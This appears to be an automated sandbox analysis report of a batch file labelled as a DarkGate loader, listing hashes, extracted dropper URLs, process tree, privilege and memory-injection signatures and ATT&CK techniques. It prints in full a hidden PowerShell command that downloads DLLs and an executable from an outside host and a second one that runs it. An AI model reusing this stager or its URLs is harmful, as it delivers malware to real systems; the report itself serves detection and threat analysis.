933fbda1ca7c4a52adbb48d038c8ba5ed5ee411d1096b2222ca383ca6d96a6bc

Analysis

max time kernel
46s
max time network
52s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
21-08-2024 20:17

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General

Target

exe/crypted/Dakrgate 5864 startup plus rootkit/Batch file for 5864v dll crypted darkgate/update.bat
Size

6KB
MD5

97b7c88a02b2a5214d742b7ed50f4544
SHA1

15bf7dd44049b94db1a82504802ead45f6186fa0
SHA256

20c3a5b1c87627e9e016494b806273230f5023cf12d2c0e29eceecb7b8a6d3b6
SHA512

918c856e61d8b348a705227ec381a8101481ec3aaa4a1f6545b9706ebf491d311cfe716f62ab04c796333bae5df857fc67cac86760be1c67578ca1031a906b25
SSDEEP

192:GqNFRmxkyzz06ETWtd4pTunJ8ccJkBhKhgQ:Vp2kgzSTWsu6hJEhKht

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://tt.vg/download-update-dll1

exe.dropper

https://tt.vg/dlldownload2sqliuit-download

exe.dropper

https://tt.vg/download-latest-update

Signatures

Blocklisted process makes network request 7 IoCs

Processes:

powershell.exe

flow	pid	process
5	2828	powershell.exe
7	2828	powershell.exe
8	2828	powershell.exe
9	2828	powershell.exe
10	2828	powershell.exe
11	2828	powershell.exe
12	2828	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2828 powershell.exe
2636 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

4 tt.vg
5 tt.vg
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2828 powershell.exe
2636 powershell.exe

pid	process
2828	powershell.exe
2636	powershell.exe

flow	ioc
4	tt.vg
5	tt.vg

pid	process
2828	powershell.exe
2636	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exeAUDIODG.EXE

description	pid	process
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: 33	2820	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2820	AUDIODG.EXE
Token: 33	2820	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2820	AUDIODG.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 560 wrote to memory of 2828	560	cmd.exe	powershell.exe
PID 560 wrote to memory of 2828	560	cmd.exe	powershell.exe
PID 560 wrote to memory of 2828	560	cmd.exe	powershell.exe
PID 560 wrote to memory of 2636	560	cmd.exe	powershell.exe
PID 560 wrote to memory of 2636	560	cmd.exe	powershell.exe
PID 560 wrote to memory of 2636	560	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\exe\crypted\Dakrgate 5864 startup plus rootkit\Batch file for 5864v dll crypted darkgate\update.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -Command "& {$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://tt.vg/download-update-dll1', 'C:\Users\Admin\AppData\Local\Temp\libssp-0.dll'); $wc.DownloadFile('https://tt.vg/dlldownload2sqliuit-download', 'C:\Users\Admin\AppData\Local\Temp\sqlite3.dll'); $wc.DownloadFile('https://tt.vg/download-latest-update', 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe')}"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -WindowStyle Hidden -Command "& {Start-Process 'C:\Users\Admin\AppData\Local\Temp\pidgin.exe' -WindowStyle Hidden}"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2636

C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
1⤵
PID:2640

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x440
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1324193511cba097f81cdf83afc01e31

SHA1
e0cc68ed16dee7917095ed626fd60f0da58005e5

SHA256
ae1c754e388a05c11806f230f3d99dc4c9bcc1d37f86eb2d3178a281df998ad1

SHA512
61c3cca822377000a7f39281ae16688df1c9b6753a6ed0a9cc662255d23ee60844bbe361bd78a846d472a4b218b22f103fd2b33692f388db3912df3eab728b7d

Download Submit
memory/2636-23-0x00000000024E0000-0x00000000024E8000-memory.dmp

Filesize
32KB

Download
memory/2636-22-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/2828-12-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-8-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-9-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-10-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-11-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-4-0x000007FEF5A2E000-0x000007FEF5A2F000-memory.dmp

Filesize
4KB

Download
memory/2828-13-0x000007FEF5A2E000-0x000007FEF5A2F000-memory.dmp

Filesize
4KB

Download
memory/2828-14-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-15-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-16-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-7-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2828-6-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2828-5-0x000000001B220000-0x000000001B502000-memory.dmp

Filesize
2.9MB

Download